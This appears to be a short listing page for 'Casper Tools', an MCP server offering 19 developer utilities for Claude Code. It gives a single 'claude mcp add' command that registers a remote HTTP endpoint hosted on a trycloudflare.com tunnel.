Casper Tools for Claude Code

io.github.magiautonomous/casper-tools

19 zero-setup utilities: JSON, regex, cron, hash, base64, CSV, JWT, UUID, YAML, semver, time.

client:Claude Code transport:streamable-http

Install Casper Tools in Claude Code

run in your project directory

claude mcp add --transport http casper-tools https://determines-product-administration-farmer.trycloudflare.com

Adds it for this project only. Append --scope user to make it available everywhere. Claude Code docs